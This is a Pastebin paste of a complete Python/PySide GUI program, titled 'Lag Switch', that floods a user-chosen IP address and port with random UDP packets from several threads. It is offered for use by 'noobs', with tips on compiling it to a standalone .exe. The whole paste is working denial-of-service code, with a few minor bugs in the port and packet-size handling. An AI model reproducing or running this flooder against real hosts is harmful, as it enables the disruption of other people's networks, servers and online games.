Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- # -*- coding: utf-8 -*-
- # Name: King 6200
- # Date: 8.31.2016
- # Description: Basic GIL-Threaded UDP Flooder in Python
- # GUI Lib
- from PySide.QtGui import *
- from PySide.QtCore import *
- # standard libs
- import sys
- import time
- import socket
- import threading
- import random
- class MainWindow(QWidget):
- '''
- Python made UDP FLooder
- Can be used to lag switch (main point)
- Easy to use for noobs who like switching
- Can be compiled to standalone .exe with either:
- * Nuitka
- * PyInstaller
- * Py2Exe
- * cxFreeze
- * Cython
- '''
- # control variables
- running = False # flood threads
- updating = True # label update thread
- threads = [] # hold flood threads
- sent = 0 # track packets sen
- dataSize = 1 # changable data size
- def __init__(self):
- ''' Setup everything '''
- super(MainWindow, self).__init__()
- self.initUI()
- self.create_widgets()
- self.update_thread = self.create_thread(self.updateLabels)
- def initUI(self):
- ''' Create key parts to window '''
- # window options
- self.resize(480, 240)
- self.setWindowTitle("Lag Switch")
- # set program layout
- self.layout = QVBoxLayout()
- self.setLayout(self.layout)
- # set program style sheet
- self.setStyleSheet("""
- QPushButton, QLabel, QLineEdit
- { font-size: 12px; padding: 5px; }
- QPushButton {
- font-size: 16px;
- padding-left: 25px;
- padding-right: 25px;
- }
- """)
- def closeEvent(self, event):
- ''' Make sure all running threads are killed '''
- self.running = False
- self.updating = False
- for x in self.threads:
- t = self.threads.pop(self.threads.index(x))
- t.join(1)
- del t
- self.update_thread.join(1)
- del self.update_thread
- # close program normally
- super(MainWindow, self).closeEvent(event)
- def create_widgets(self):
- ''' Create UI Widgets '''
- # setup layouts
- top = QHBoxLayout()
- mid = QHBoxLayout()
- opt = QGridLayout()
- snt = QHBoxLayout()
- bot = QHBoxLayout()
- # top layout (ip and port)
- self.ip_box = QLineEdit("127.0.0.1")
- self.port_box = QLineEdit("80")
- top.addWidget(QLabel("IP Address:"))
- top.addWidget(self.ip_box)
- top.addWidget(QLabel("Port (0=random):"))
- top.addWidget(self.port_box)
- # mid layout (data slider)
- self.dataSlider = QSlider(Qt.Horizontal)
- self.dataSlider.setRange(0, 65)
- self.dataSlider.setValue(1)
- self.dataSlider.setTickInterval(1)
- self.dataSlider.valueChanged.connect(self.updateData)
- self.dataLabel = QLabel("0 kb")
- mid.addWidget(self.dataSlider)
- mid.addWidget(self.dataLabel)
- # options layout (threads, delay)
- self._threads = QLineEdit("1")
- self._delay = QLineEdit("100")
- opt.addWidget(QLabel("Threads:"), 0, 0)
- opt.addWidget(self._threads, 0, 1)
- opt.addWidget(QLabel("Delay (ms):"), 1, 0)
- opt.addWidget(self._delay, 1, 1)
- # button layout (start top)
- self.startButton = QPushButton("Start")
- self.startButton.clicked.connect(self.startFlood)
- self.stopButton = QPushButton("Stop")
- self.stopButton.clicked.connect(self.stopFlood)
- bot.addWidget(self.startButton)
- bot.addStretch(1)
- bot.addWidget(self.stopButton)
- # send layout (packets sent)
- self.dataSent = QLabel("0")
- snt.addWidget(QLabel("Sent Packets:"))
- snt.addStretch(1)
- snt.addWidget(self.dataSent)
- # make boxes int only
- int_boxes = [self.port_box, self._threads, self._delay]
- [self.setIntValidator(w) for w in int_boxes]
- # add made layouts to main layout
- self.layout.addLayout(top)
- self.layout.addLayout(mid)
- self.layout.addLayout(opt)
- self.layout.addStretch(1)
- self.layout.addLayout(snt)
- self.layout.addLayout(bot)
- def updateData(self, *args):
- ''' Update the data value '''
- value = self.dataSlider.value()
- self.dataLabel.setText(str(value)+" kb")
- self.dataSize = value
- def updateLabels(self):
- ''' Update any labels '''
- while self.updating:
- self.dataSent.setText(str(self.sent))
- time.sleep(0.1)
- def setIntValidator(self, widget):
- ''' Only integers in text boxes '''
- widget.setValidator(QIntValidator(self))
- widget.setMaxLength(5)
- def validateNum(self, widget):
- ''' Verify if theres an int in the box '''
- text = str(widget.text())
- if text.isspace() or text == '':
- return (False, 0)
- else:
- return (True, int(text))
- def startFlood(self):
- ''' Create and run attack threads '''
- if self.running: return
- # threds, delay and port
- valid, _t = self.validateNum(self._threads)
- if not valid or _t == 0: _t = 1 # default values
- valid, _d = self.validateNum(self._delay)
- if not valid or _d == 0: _d = 100 # default values
- valid, _p = self.validateNum(self.port_box)
- if not valid: _p = 80
- if _p == 0: _p == "rand"
- # ip address
- try:
- ip = socket.gethostbyname(str(self.ip_box.text()))
- except:
- self.errorMsg("Can't resolve IP Address Nub!\nGIT GUD")
- return
- # create threads
- self.running = True
- self.sent = 0
- for x in range(int(_t)):
- _thread = self.create_thread(self.Flood, ip, _p, int(_d))
- self.threads.append(_thread)
- def stopFlood(self):
- ''' Stop flooding for all threads '''
- self.running = False
- for x in self.threads:
- t = self.threads.pop(self.threads.index(x))
- t.join()
- del t
- def Flood(self, ip, port, delay):
- ''' Flood a target with UDP Packets '''
- # setup socket and values
- s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
- delay = delay / 1000.0
- if str(port) == "rand": port = random.randint(0, 65535)
- else: port = int(port)
- # flood
- while self.running:
- if not self.running:
- break
- if self.dataSize > 1:
- data = random._urandom(random.randint(0, 1024))
- else:
- data = random._urandom(self.dataSize * 1024)
- self.sent += 1
- s.sendto(data, (ip, port))
- time.sleep( delay )
- def create_thread(self, func, *args):
- ''' Create GIL-Locked Thread '''
- t = threading.Thread(target=func, args=args)
- t.daemon = True
- t.start()
- return t
- def errorMsg(self, message):
- ''' Display any error messages '''
- msg = QMessageBox()
- msg.setIcon(QMessageBox.Warning)
- msg.setText(str(repr(message)))
- msg.setWindowTitle("Lag Error")
- msg.exec_()
- ''' Start the Program '''
- if __name__ == '__main__':
- app = QApplication(sys.argv)
- win = MainWindow()
- win.show()
- sys.exit(app.exec_())
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement